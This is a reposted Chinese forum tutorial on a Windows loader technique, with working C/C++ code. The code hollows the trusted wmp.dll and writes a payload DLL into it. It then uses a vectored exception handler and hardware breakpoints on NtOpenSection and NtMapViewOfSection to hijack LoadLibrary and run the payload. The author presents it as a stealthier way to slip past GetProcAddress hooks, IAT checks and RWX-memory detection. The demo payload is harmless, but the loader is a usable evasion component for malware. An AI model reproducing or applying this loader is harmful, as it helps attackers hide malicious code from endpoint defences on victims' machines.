-
-
[转帖]VEH硬件断点的Ldr劫持技术[一更]
-
发表于: 6天前 811
-
@
(VEH硬件断点的Ldr劫持技术+自主实现GetProcAddress)
原文链接
2f4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9K6c8W2)9#2k6W2)9#2k6X3u0A6P5W2)9K6c8p5#2B7e0e0g2z5g2r3x3J5e0f1c8k6P5p5#2%4i4K6y4p5i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7L8h3W2V1i4K6y4p5x3U0b7#2z5o6j5H3y4K6b7H3x3q4)9J5y4X3q4E0M7q4)9K6b7X3W2V1P5q4)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6L8W2)9K6c8o6l9%4y4h3j5K6y4X3c8V1y4K6S2W2k6h3f1#2z5h3j5^5x3K6p5$3y4K6V1%4j5K6b7I4z5e0x3&6x3r3u0V1i4K6t1$3j5h3#2H3i4K6y4n7j5$3S2C8M7$3#2Q4x3@1c8T1x3r3x3I4x3r3c8U0k6o6R3^5z5e0p5K6x3K6j5@1k6U0q4W2x3$3t1H3k6e0t1$3y4e0t1@1y4o6M7^5x3U0g2W2x3K6M7I4x3X3x3K6y4r3f1H3j5h3q4V1k6r3p5%4y4U0g2X3x3K6V1&6z5o6t1^5x3X3f1^5y4K6x3@1y4h3c8T1x3h3t1^5j5e0l9%4x3e0M7I4i4K6t1$3j5h3#2H3i4K6y4n7L8i4m8K6K9r3q4J5k6g2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6j5$3g2F1k6g2)9K6c8o6t1K6i4K6t1$3j5h3#2H3i4K6y4n7M7%4u0U0K9h3c8Q4x3@1b7H3x3e0l9$3N6o6y4x3h3r3k6h3N6g2W2K6d9W2W2p5c8i4g2%4f1V1&6s2b7e0k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6K9r3q4J5k6i4u0Q4y4h3k6K6K9r3q4J5k6h3W2F1k6X3!0Q4x3@1c8S2z5e0N6T1j5h3u0W2j5U0W2U0j5U0p5J5k6h3j5&6x3h3k6W2j5$3j5J5z5o6M7H3z5e0m8U0y4r3p5J5k6W2)9J5y4X3q4E0M7q4)9K6b7Y4y4Z5j5i4u0W2M7W2)9#2k6Y4y4Z5j5i4u0W2K9h3&6X3L8#2)9#2k6X3k6A6M7Y4y4@1i4K6y4p5y4h3b7^5x3U0t1H3j5e0p5^5y4K6c8U0y4h3q4T1k6X3x3H3k6e0g2T1z5o6f1I4k6h3u0S2k6e0p5@1k6e0g2Q4x3U0y4J5k6l9`.`.
关于自己实现GetProcAddress的部分可以看我的另一篇551K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3I4W2j5K6t1H3x3U0u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5#2y4U0p5K6y4o6p5K6x3q4)9K6c8Y4y4H3L8g2)9K6c8o6p5H3x3o6q4Q4x3X3f1J5x3o6p5@1i4K6u0W2x3K6l9H3x3g2)9J5k6e0f1#2x3o6p5`.
与原文的不同
原文直接用了ntdll.lib,本文使用了自己实现的GetProcAddress,原理上来说会更加隐蔽,可以绕过一些对于GetProcAddress的内联hook以及对程序IAT的检测。
实现流程
原文中已有对实验原理的介绍,所以在此我只介绍实现流程。
初始化API
通过LoadLibrary和GetProcAddress获取所需的API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | typedef NTSTATUS (NTAPI* fnNtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);typedef NTSTATUS (NTAPI* fnNtCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);typedef NTSTATUS (NTAPI* fnNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);typedef PIMAGE_NT_HEADERS (NTAPI* fnRtlImageNtHeader)(PVOID Base);typedef NTSTATUS (NTAPI* fnNtContinue)(PCONTEXT ContextRecord, BOOLEAN TestAlert);fnNtOpenSection NtOpenSection = nullptr;fnNtCreateSection NtCreateSection = nullptr;fnNtMapViewOfSection NtMapViewOfSection = nullptr;fnRtlImageNtHeader RtlImageNtHeader = nullptr;fnNtContinue NtContinue = nullptr;VOID InitWinAPI() { NtOpenSection = (fnNtOpenSection)GetProcAddress(hNtdll, "NtOpenSection"); NtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); NtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection"); RtlImageNtHeader = (fnRtlImageNtHeader)GetProcAddress(hNtdll, "RtlImageNtHeader"); NtContinue = (fnNtContinue)GetProcAddress(hNtdll, "NtContinue");} |
加载Payload
原文中的代码是加载然后修改了windows的计算器作为payload,本文中是自己写了一个MessageBox然后编译成dll作为payload,原理其实是一样的。
加载wmp.dll
wmp.dll是system32目录下的一个受信任的dll,加载这个dll的目的是掩人耳目。
加载这个dll并非是直接通过LoadLibrary进行加载,而是通过CreateFile加载,然后手动映射到内存中。
读取dll:
1 2 | char pWmpPath[] = "C:\\Windows\\System32\\wmp.dll";HANDLE hWmpHandle = CreateFileA(pWmpPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); |
手动创建:
1 2 | HANDLE hSection = nullptr;NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmpHandle); |
这里面SEC_IMAGE是设定,要把这个Section当作一个可执行文件来创建,而不是像个文本一样的只读。
手动映射:
1 2 3 | PVOID pBaseAddress = nullptr;SIZE_T ViewSize = 0;NtMapViewOfSection(hSection, GetCurrentProcess(), &pBaseAddress, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READWRITE); |
在这里一定要用NtMapViewOfSection来映射,不要用VirtualAlloc。主要原因是VirtualAlloc分配的空间是MEM_PRIVATE,在后续的工作中我们需要修改这部分内存的权限的,如果MEM_PRIVATE具备了RWX权限,很容易就会被发现有问题。
清除wmp.dll,写入payload
接下来我们需要清除wmp.dll内的所有的东西,然后把我们的payload写到原来wmp.dll的空间中。这一步有点像是process hollowing。
首先需要修改内存的权限:
1 2 3 4 | if (!VirtualProtect(pBaseAddress, dwImageSize, PAGE_READWRITE, &dwOldProtect)) { printf("Failed to change memory protection. Error code: %lu\n", GetLastError()); return -1;} |
清空内存:
1 | memset(pBaseAddress, 0, dwImageSize); |
把payload.dll写进去:
1 2 3 4 5 6 7 8 9 10 11 12 | BOOL MovePayloadToMemory(PVOID pDest, BYTE* pPayloadData, DWORD dwPayloadSize) { PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pPayloadData); memcpy(pDest, pPayloadData, pNt->OptionalHeader.SizeOfHeaders); PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNt); for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++) { PVOID pSectionDest = (PVOID)((DWORD64)pDest + pSectionHeader->VirtualAddress); PVOID pSectionSrc = (PVOID)((DWORD64)pPayloadData + pSectionHeader->PointerToRawData); memcpy(pSectionDest, pSectionSrc, pSectionHeader->SizeOfRawData); pSectionHeader++; } return TRUE;} |
这里需要注意一下,文件头和各个Section要分开写。因为我们读取payload的是Filelayout,在内存里必须是Memory layout,这两者之间差了个内存对齐的步骤,但是文件头不用对齐,直接复制过去就行了,各个section需要,所以在读取的时候要用PointerToRawData,写入的时候要用VirtualAddress,这两个在文件头中都有记录的,直接调用就行了。
重定位修复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | VOID FixRelocation(PVOID pMemBase, PVOID pBaseAddress) { PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pMemBase); ULONGLONG delta = (ULONGLONG)pMemBase - pNt->OptionalHeader.ImageBase; if (delta == 0) { return; } //printf("Delta = 0x%llx\n", delta); PIMAGE_DATA_DIRECTORY pRelocDir = &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; //DWORD dwFOA = RvaToFoa(pRelocDir->VirtualAddress, pNt); PIMAGE_BASE_RELOCATION pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pMemBase + pRelocDir->VirtualAddress); //PIMAGE_BASE_RELOCATION pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBaseAddress + dwFOA); for (ULONG offset = 0; offset < pRelocDir->Size; offset = offset + pRelocBaseBlock->SizeOfBlock) { pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pMemBase + pRelocDir->VirtualAddress + offset); PBASE_RELOCATION_ENTRY pRelcEntry = (PBASE_RELOCATION_ENTRY)((ULONGLONG)pRelocBaseBlock + sizeof(IMAGE_BASE_RELOCATION)); ULONG EntryCount = (pRelocBaseBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY); for (ULONG i = 0; i < EntryCount; i++) { if (pRelcEntry[i].Type != IMAGE_REL_BASED_DIR64) continue; ULONGLONG* ullBuffer = (ULONGLONG*)((ULONGLONG)pMemBase + pRelocBaseBlock->VirtualAddress + pRelcEntry[i].Offset); *ullBuffer += delta; //printf("Relocated Address: 0x%llx\n", *ullBuffer); } } return;} |
这个是最重要的,修复不好程序直接崩溃了,详细的原理我好像写过,在这里就不多介绍了。
接下来需要恢复各个Section的权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | VOID SetProtection(PVOID pMemBase, BYTE* pFileData) { PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pMemBase); PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNt); for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++) { PVOID pSectionDest = (PVOID)((DWORD64)pMemBase + pSectionHeader->VirtualAddress); DWORD oldProtect = 0; DWORD newProtect = 0; if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) { if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) { newProtect = PAGE_EXECUTE_READWRITE; } else if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) { newProtect = PAGE_EXECUTE_READ; } else { newProtect = PAGE_EXECUTE; } } else { if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) { newProtect = PAGE_READWRITE; } else if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) { newProtect = PAGE_READONLY; } else { newProtect = PAGE_NOACCESS; } } VirtualProtect(pSectionDest, pSectionHeader->Misc.VirtualSize, newProtect, &oldProtect); pSectionHeader++; }} |
设置硬件断点,劫持Ldr
之前的步骤都是准备工作,接下来是最重要的部分。
首先我们需要注册一个VEH的异常处理函数。VEH的异常处理在SEH之前,不过自己写的这个也就是个小demo,没有其他的异常处理,横竖都是我们自己注册的这个处理。
1 | AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)VectoredHandler); |
异常处理函数VectoredHandler是我们自定义的,函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | BOOL CALLBACK VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { PCONTEXT ctx = ExceptionInfo->ContextRecord; if (gLdrState == LdrState::StateOpenSection) { *(PHANDLE)ctx->Rcx = gHandle; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xc3) { rip++; } ctx->Rip = (ULONG_PTR)rip; gLdrState = LdrState::StateMapViewOfSection; SetHardwareBreakpoint(NtMapViewOfSection, ctx); NtContinue(ctx, FALSE); } //else if (gLdrState == LdrState::StateMapViewOfSection) else { if ((HANDLE)ctx->Rcx != gHandle) { return EXCEPTION_CONTINUE_EXECUTION; } PVOID* baseAddrPtr = (PVOID*)ctx->R8; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); if (baseAddrPtr) { *baseAddrPtr = gBaseAddress; } if (viewSizePtr) { *viewSizePtr = gViewSize; } *allocTypePtr = 0; *protectPtr = PAGE_EXECUTE_READWRITE; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xc3) { rip++; } ctx->Rip = (ULONG_PTR)rip; //ULONGLONG ullRetAddr = *(ULONGLONG*)(ctx->Rsp); //ctx->Rip = ullRetAddr; //ctx->Rsp += 8; ctx->Dr0 = 0LL; ctx->Dr1 = 0LL; ctx->Dr2 = 0LL; ctx->Dr3 = 0LL; ctx->Dr6 = 0LL; ctx->Dr7 = 0LL; ctx->EFlags |= 0x10000u; NTSTATUS status = NtContinue(ctx, FALSE); if (status < 0) { printf("NtContinue failed in VectoredHandler, NTSTATUS: 0x%llx\n", status); } NtContinue(ctx, FALSE); } } return EXCEPTION_CONTINUE_EXECUTION;} |
还有设置硬件断点的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | BOOL SetHardwareBreakpoint(PVOID address, PCONTEXT ctx) { if (ctx) { ctx->Dr0 = (DWORD64)address; ctx->Dr7 = 1; //ctx->Dr6 = 0; return TRUE; } else { CONTEXT context = { 0 }; context.ContextFlags = CONTEXT_DEBUG_REGISTERS; HANDLE hThread = GetCurrentThread(); if (!GetThreadContext(hThread, &context)) return FALSE; context.Dr0 = (DWORD64)address; context.Dr7 = 1; if (!SetThreadContext(hThread, &context)) { return FALSE; } return TRUE; }} |
这两个连在一起说说。首先是硬件断点,硬件断点只能设置4个,分别用dr0~dr3 4个寄存器记录断点的地址,dr7寄存器用于判断硬件断点是否启用。对我们有用的就这么多,还有其他更详细的介绍可以看看原文。
然后是异常处理函数。异常处理函数分为两个部分,分别用于处理NtOpenSection和NtMapViewOfSection处的异常。LoadLibrary会先调用NtOpenSection,再调用NtMapViewOfSection。这两个函数的定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | NTSYSCALLAPINTSTATUSNTAPINtOpenSection( _Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess, _In_ PCOBJECT_ATTRIBUTES ObjectAttributes );NTSYSCALLAPINTSTATUSNTAPINtMapViewOfSection( _In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, _In_ SECTION_INHERIT InheritDisposition, _In_ ULONG AllocationType, _In_ ULONG PageProtection ); |
在调用NtOpenSection的时候,PHANDLE是一个返回参数,作为调用方而言,我调用了这个函数,并且他也返回了一个PHANDLE给我,至于他做了什么工作我也不知道。我们在这里劫持这个函数,把PHANDLE替换成我们之前加载的wmp.dll的PHANDLE,然后直接跳过syscall,假装已经调用完毕并返回。
在调用NtMapViewOfSection的时候,我们主要是要劫持BaseAddress和ViewSize,劫持之后也需要跳过syscall,直接ret。
这样,LoadLibrary以为他加载的dll已经完成了,实际上已经被我们劫持刀了我们自己的代码空间里。
顺便说一句,原文给的代码链接里设置Rax=0给的解释是移除系统调用,我认为这里是有问题的,Rax=0应该是设置返回值为0,代表调用成功。
运行payload
以上过程全部执行完毕之后,我们可以把payload.dll的entry_point加上base,然后转换成一个指针函数直接运行。
1 2 | PVOID EP = (PVOID)((DWORD64)pBaseAddress + entry_point);((VOID(*)())EP)(); |
源码
73cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6n7L8r3q4U0K9@1W2U0k6e0b7I4y4#2)9J5c8W2k6q4d9p5S2S2j5$3D9`.